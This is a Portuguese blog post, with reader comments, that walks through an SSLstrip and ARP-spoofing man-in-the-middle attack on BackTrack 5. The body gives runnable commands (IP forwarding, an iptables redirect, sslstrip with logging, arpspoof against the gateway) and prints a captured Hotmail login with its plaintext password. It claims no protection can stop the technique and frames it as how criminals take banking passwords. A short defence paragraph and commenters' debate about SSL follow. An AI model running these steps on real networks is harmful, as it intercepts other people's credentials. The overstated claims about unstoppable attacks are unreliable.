No início desta semana, eu discuti sobre segurança dentro de um Hotel em Vitória. A Outra pessoa teimava em dizer que quando qualquer um acessa um site seguro, com SSL/Certificado digital, nenhum hacker/cracker poderia roubar os seus dados. Eu argumentei que não era bem assim e que há técnicas que possibilitam o roubo de dados, mesmo navegando em sites seguros – SSL.

Eis que o o blog unknownantisec fez um excelente post explicando como executar um ataque Man in the middle em conjunto com a ferramenta SSLstrip, a qual já foi comentada várias vezes no blog.

Apesar de ser uma técnica relativamente fácil de ser feita, não deixa de ser uma técnica super poderosa. Muitos crackers à usam para fins maléficos como roubar senhas de clientes de bancos, mas a mesma pode ser usada por hackers para descobrir senhas de e-mails como por exemplo o Yahoo! Ou Hotmail que se tentássemos captura-las por técnicas de sniffing não obteríamos nada legível. Neste artigo irei mostrar como os crackers capturam senhas de bancos on-line para demonstrar que os famosos tecladinhos virtuais são facilmente burlados apesar de toda a sua fama de seguro. Nenhuma forma de proteção existente nos dias de hoje é capaz de parar esta técnica.

Espero que nenhum de nossos leitores use o conhecimento aqui obtido para causar prejuízos a terceiros, uma vez que escrevi este artigo apenas para fins didáticos e não poderá ser usado como forma de incentivo a criminalidade. O que garante que eu possa passar este conhecimento para você sem está cometendo um crime é o artigo 5º da Constituição Federal que nos garante a Liberdade de Expressão.

Como funciona?

Veja a imagem a seguir, esta é uma representação de uma conexão normal, sem interceptações, e funciona de modo que o cliente passa os dados criptografados para o servidor e vice-versa, tornando assim impossível o uso de técnicas de sniffing para a capturados dados trocados entre o cliente e o servidor.

Abaixo segue uma representação de uma conexão interceptada, (usando a técnica Man-in-The-Middle), e funciona de modo que o hacker engana o cliente e o servidor. Engana o cliente se fazendo passar por um simples servidor de proxy, e engana o servidor se passando pelo próprio cliente, desta forma os dados chegam até o hacker em texto puro, pois os dois pensam que o hacker é uma fonte confiável.

(Fonte: securityhacker)

Como é feito o ataque

Vou demonstrar como é feito um ataque desses com o sslstrip que já vem no backtrack 5.

para isso entre no diretorio do sslstrip:

#cd /pentest/web/sslstrip

Agora vamos listar as opções do sslstrip:

#python sslstrip.py -h

Ele vai dar as seguintes opções:

sslstrip 0.8 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

Vamos usar a opção “-w” ou “–write=” para gravar os logs em um arquivo e a “-l” ou “–listen=” para listar a porta de escuta.

Primeiro vamos habilitar ip forward no computador, para que ele possa intender que queremos redirecionar o trafego.

echo "1" > /proc/sys/net/ipv4/ip_forward

Agora vamos redirecionar o tráfego da porta 80 para a 10000 que é onde o sslstrip vai trabalhar.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Vamos colocar o sslstrip para funcionar agora, digite no terminal:

#python sslstrip.py -w trafego -l 10000

Abra outro terminal ou pagina que vamos colocar o arpspoof para funcionar.

Assim que abrir o terminal, digite route para saber qual o seu roteador e qual a placa que está conectada, ficaria assim.

Kernel IP routing table
Destination    Gateway                  Genmask         Flags Metric Ref    Use Iface
10.0.0.0           *                    255.0.0.0       U     0      0      0   eth0
default        10.25.77.254             0.0.0.0         UG    0      0      0   eth0

Ficando assim:

10.25.77.254 é seu router

eth0 é sua placa de rede

Sabendo o que é o que, vamos executar o arpspoof, digite no terminal

#arpspoof -i eth0 10.25.77.254

Para ver as “senhas” basta digitar:

#less trafego

Agora é só garimpar as senhas recolhidas.

Exemplo de pacote capturado

2011-07-28 13:49:19,605 SECURE POST Data (login.live.com):
login=juana%40hotmail.com&passwd=loa1814&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=CSunM4mofYhigqiObttRmtoFdxf8alO7UBN1O9Jb2EQYF1T5sE4qGl
teBPzjSYo1kd1jAsP7rlt80UdeEqjMeasL5WXvuVU%21n8NSpKRq3NxmBsw06rOBOfPnz4pejvv3qm0x7rcejM0zU0oCmtF9mL1UqTYa0VQELVDpWOg3RhYACZhXqKYJAbxteyPX%21Mr1Yrq*Un8yDSMnbAgENcljztLVOk
*y&idsbho=1&PwdPad=&sso=&i1=&i2=1&i3=19972&i4=&i12=1&i13=&i14=593&i15=1038

Email: juana@hotmail.com

Senha:loa1814

Evitando o Ataque

“Para evitar esse tipo de ataque existe uma ferramenta que detecta algum engraçadinho na rede, chamado ArpON (ARP Handler Inspection), ele é um daemon manipulador que possui ferramentas de vigilância e monitoramento de redes, para assegurar a proteção, além de evitar ataques do tipo Man In The Middle (MITM). ArpON também é capaz de detectar e bloquear ataques mais alarmantes como DHCP Spoofing, DNS Spoofing, WEB Spoofing, Session Hijacking, SSL/TLS Hijacking e outros. “(Fonte: under-linux)

Há também um vídeo muito bem explicado de como executar alguns ataques com o SSLstrip:

Compartilhar:

Este post tem 19 comentários

  1. Depois dessa heim!!!

    Num logo mais em nada na interter..kkkk

    Vlw Gustavo.

  2. Gustavo,

    o post não deixa claro que isto não é um problema do SSL. O SSL é sim um padrão confiável e NÃO DÁ PRA BURLAR.

    O problema ai é de rede e da “confiança” do usuário.

    Nas duas abordagens do SSLstrip o cliente é o real problema:

    Abordagem 1: O site será redirecionado para HTTP e o favicon irá mudar para um cadeado. Ai entra a velha balela dos “especialistas” em querer ensinar o usuário a olhar o “cadeadinho”. Se o cliente entender ele verá que o site não está mais em HTTPS e sim em HTTP.

    Abordagem 2: O SSLStrip irá enviar um certificado auto-assinado e o site só será carregado se o cliente der um OK no Warning.

    O SSL não é o problema! Não existe um sniffing em clear-text ou quebra do túnel HTTPS.

    Abs.

  3. Um dica é usar um rede wireless com criptgorafia ativa, não tem como fazer isto WAP2.
    Usar twitter com https

  4. Belo post!

    Mas concordo com o Wagner Elias o problema não é o protocolo SSL e sim a falta de cuidado do usuário.

  5. Realmente não se trata de uma “falha” no SSL. O SSL é seguro. Oq a ferramenta faz é fechar um tunnel SSL entre a vitima e o atacante, o qual envia a sua própria chave publica para a vita, em detrimento da chave pública do servidor real. Obviamente o browser do usuário não tem um certificado Raiz que assine o certificado forjado do atacante e exibira um alerta para o usuário. Mesmo que o usuário aceite o certificado forjado, é, atualmente, IMPOSSÍVEL quebrar a segurança do SSL. O atacante só tem acesso aos dados pq a criptografia é realizada com a sua própria chave pública, e não por conta de uma falha no processo criptografico…
    Desde os primordios que se conheçe que a falha está no uso, e não na criptografia em si.
    Além do mais, esse tipo de ferramenta exige que o atacante esteja NA MESMA REDE da vítima(na mesma camada de enlace).

  6. Mais uma informação: Nenhum “cracker” consegue senhas bancárias dessa forma! O miniaplicativo java conheçe a java pública do banco e, portanto, rejeita certificado com outra assinatura. Existem outras tecnicas muito mais simples de se conseguir senhas…

  7. Muito bom o post! E o melhor de tudo é que no fim mostra a parte mais legal, que é uma das formas de se defender desse tipo de ataque.

  8. Para alguns comentários acima, comento o seguinte:

    Beleza, o problema não é o SSL, e sim o usuário. No fim das contas, por via do usuário, o tráfego SSL pode ser “burlado”, que novamente no fim das contas é o que o atacante quer! Não acham???

    Não interessa como ele fez, interessa somente que ele fez, e não como ele ou do que ele dependeu pra fazer!

    Fazendo analogia: Um servidor qualquer, é invadido. Estava todo atualizado, tudo que é possível de segurança instalado e configurado. Mas a senha do administrador que controla tudo isso é fraca. Qual segurança que vai dar jeito?

    Então, não me afirme “Navegar com SSL é 100% seguro”.

    Excelente post Gustavo.

  9. Adriel,

    navegar via SSL é sim 100% seguro.

    O que é subvertido é a rede com arp spoofing e mesmo assim o usuário ainda pode ver que o SSL dele foi quebrado através do endereço que passa para HTTP ou via certificado auto-assinado que ele vai precisar aceitar.

    Falar que o SSL é inseguro por isto é no mínimo ingenuidade da sua parte.

    Abs.

  10. BOM POST Gutcol

  11. Wagner Elias, conheço 3 pesquisadores (2 da Verisign e 1 da IBM) que discutiriam horas com vc sobre isso.. hehehe

  12. teria como exemplo onde os ” tecladinhos virtuais” aparecem no pacote desmembrado, ACHO q nao rola

  13. Amigo Wagner Elias,

    Não estou dizendo que o SSL é “vulnerável” ou não. Nem que ele é inseguro por causa de determinadas técnicas.Talvez me expressei mal e não me fiz entender.

    Me refiro quanto acreditar que está seguro na navegação, porque está usando SSL, e pensar que nada pode acontecer. Isso não é total verdade.

    A isso que eu me referia. No final das contas, não se pode confiar só no SSL.

    Valeu!

  14. Para resolver o problema é bem simples use um roteador Wi-fi com WAP2 ativo! É Impossuível que um backtrack da vida consiga penetra

  15. Concordo com o Wagner Elias mas concordo também com o Adriel. O problema não está no SSL… e daí? Não importa onde está. O importante é que o ataque será bem sucedido.

  16. Passando pelos post, achei esse…..
    Bom eu fiz o teste com a criptografia de um banco, acc meu banco de outro computador enquanto rodava sslstrip, realmente, o sslstrip não quebra a criptografia, porem eu consegui capturar a senha criptografada, mas a conta agencia e digito peguei normal

  17. Correto.. Há alguns anos, eu trabalhei com um cara que tinha uma teoria quanto a quebra de senhas – ele trabalhou no desenvolvimento dos sistema de segurança do governo americano. Agora, eu não sei se essa teoria foi comprovada..

  18. Utilizei este método no site do meu banco, com a minha conta (puramente acadêmico), capturei a minha senha, porém, criptografada. Não consegui descobrir a senha mas isso me ensinou muito sobre SSL, kali linux e sniff

Deixe uma resposta

Fechar Menu